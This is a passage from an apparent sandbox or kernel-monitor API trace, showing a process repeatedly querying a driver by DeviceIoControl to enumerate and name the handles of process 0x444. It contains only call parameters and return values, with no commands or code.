DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001ab3eb0, HandleInformation=0x0) returned 0x0 [0136.908] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.908] PsReleaseProcessExitSynchronization () returned 0x2 [0136.908] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.908] ObQueryNameString (in: Object=0xfffff8a001ab3eb0, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.908] ObfDereferenceObject (Object=0xfffff8a001ab3eb0) returned 0x2 [0136.908] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.908] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.908] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0136.908] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.908] PsAcquireProcessExitSynchronization () returned 0x0 [0136.908] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.908] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0136.908] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.908] PsReleaseProcessExitSynchronization () returned 0x2 [0136.908] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.908] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.908] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0136.908] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.908] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.908] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0136.908] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.908] PsAcquireProcessExitSynchronization () returned 0x0 [0136.908] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.908] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0136.909] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.909] PsReleaseProcessExitSynchronization () returned 0x2 [0136.909] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.909] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.909] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0136.909] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.909] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.909] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0136.909] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.909] PsAcquireProcessExitSynchronization () returned 0x0 [0136.909] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.909] ObReferenceObjectByHandle (in: Handle=0x418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001aaf2e0, HandleInformation=0x0) returned 0x0 [0136.909] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.909] PsReleaseProcessExitSynchronization () returned 0x2 [0136.909] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.909] ObQueryNameString (in: Object=0xfffff8a001aaf2e0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.909] ObfDereferenceObject (Object=0xfffff8a001aaf2e0) returned 0x2 [0136.909] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.909] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.909] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0136.909] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.909] PsAcquireProcessExitSynchronization () returned 0x0 [0136.909] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.909] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001aa1cc0, HandleInformation=0x0) returned 0x0 [0136.909] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.909] PsReleaseProcessExitSynchronization () returned 0x2 [0136.909] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.909] ObQueryNameString (in: Object=0xfffff8a001aa1cc0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.909] ObfDereferenceObject (Object=0xfffff8a001aa1cc0) returned 0x2 [0136.909] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.909] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.910] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xfa, lpOverlapped=0x0) returned 1 [0136.910] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.910] PsAcquireProcessExitSynchronization () returned 0x0 [0136.910] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.910] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001aa1c00, HandleInformation=0x0) returned 0x0 [0136.910] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.910] PsReleaseProcessExitSynchronization () returned 0x2 [0136.910] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.910] ObQueryNameString (in: Object=0xfffff8a001aa1c00, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.910] ObfDereferenceObject (Object=0xfffff8a001aa1c00) returned 0x2 [0136.910] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.910] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.910] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0136.910] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.910] PsAcquireProcessExitSynchronization () returned 0x0 [0136.910] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.910] ObReferenceObjectByHandle (in: Handle=0x484, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020b9880, HandleInformation=0x0) returned 0x0 [0136.910] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.910] PsReleaseProcessExitSynchronization () returned 0x2 [0136.910] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.910] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.910] ObfDereferenceObject (Object=0xfffffa80020b9880) returned 0xe [0136.910] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.910] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.910] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0136.910] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.910] PsAcquireProcessExitSynchronization () returned 0x0 [0136.910] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.910] ObReferenceObjectByHandle (in: Handle=0x494, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0017007a0, HandleInformation=0x0) returned 0x0 [0136.910] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.910] PsReleaseProcessExitSynchronization () returned 0x2 [0136.910] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.911] ObQueryNameString (in: Object=0xfffff8a0017007a0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.911] ObfDereferenceObject (Object=0xfffff8a0017007a0) returned 0x2 [0136.911] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.911] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.911] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.911] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0136.911] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.911] PsAcquireProcessExitSynchronization () returned 0x0 [0136.911] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.911] ObReferenceObjectByHandle (in: Handle=0x4ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0136.911] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.911] PsReleaseProcessExitSynchronization () returned 0x2 [0136.911] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.911] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.911] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0136.911] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.911] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.911] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.911] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0136.911] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.911] PsAcquireProcessExitSynchronization () returned 0x0 [0136.911] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.911] ObReferenceObjectByHandle (in: Handle=0x4cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800206b070, HandleInformation=0x0) returned 0x0 [0136.911] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.911] PsReleaseProcessExitSynchronization () returned 0x2 [0136.911] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.911] ObQueryNameString (in: Object=0xfffffa800206b070, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.911] ObfDereferenceObject (Object=0xfffffa800206b070) returned 0x11 [0136.911] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.911] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.911] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.912] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.912] PsAcquireProcessExitSynchronization () returned 0x0 [0136.912] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.912] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a28d00, HandleInformation=0x0) returned 0x0 [0136.912] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.912] PsReleaseProcessExitSynchronization () returned 0x2 [0136.912] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.912] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.912] ObfDereferenceObject (Object=0xfffffa8001a28d00) returned 0x1 [0136.912] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.912] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.912] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.912] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.912] PsAcquireProcessExitSynchronization () returned 0x0 [0136.912] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.912] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80035185e0, HandleInformation=0x0) returned 0x0 [0136.912] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.912] PsReleaseProcessExitSynchronization () returned 0x2 [0136.912] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.912] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.912] ObfDereferenceObject (Object=0xfffffa80035185e0) returned 0x1 [0136.912] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.912] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.912] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0136.912] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.912] PsAcquireProcessExitSynchronization () returned 0x0 [0136.912] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.912] ObReferenceObjectByHandle (in: Handle=0x5a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0136.912] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.912] PsReleaseProcessExitSynchronization () returned 0x2 [0136.912] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.913] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.913] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0136.913] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.913] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.913] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0136.913] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.913] PsAcquireProcessExitSynchronization () returned 0x0 [0136.913] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.913] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0136.913] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.913] PsReleaseProcessExitSynchronization () returned 0x2 [0136.913] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.913] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.913] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0136.913] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.913] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.913] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0136.913] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.913] PsAcquireProcessExitSynchronization () returned 0x0 [0136.913] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.913] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003532dd0, HandleInformation=0x0) returned 0x0 [0136.913] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.913] PsReleaseProcessExitSynchronization () returned 0x2 [0136.913] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.913] ObQueryNameString (in: Object=0xfffffa8003532dd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.913] ObfDereferenceObject (Object=0xfffffa8003532dd0) returned 0x11 [0136.913] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.913] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.913] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0136.913] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.914] PsAcquireProcessExitSynchronization () returned 0x0 [0136.914] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.914] ObReferenceObjectByHandle (in: Handle=0x610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800354bf20, HandleInformation=0x0) returned 0x0 [0136.914] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.914] PsReleaseProcessExitSynchronization () returned 0x2 [0136.914] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.914] ObQueryNameString (in: Object=0xfffffa800354bf20, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.914] ObfDereferenceObject (Object=0xfffffa800354bf20) returned 0x11 [0136.914] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.914] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.914] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.914] DeviceIoControl (in: hDevice=0x7c, 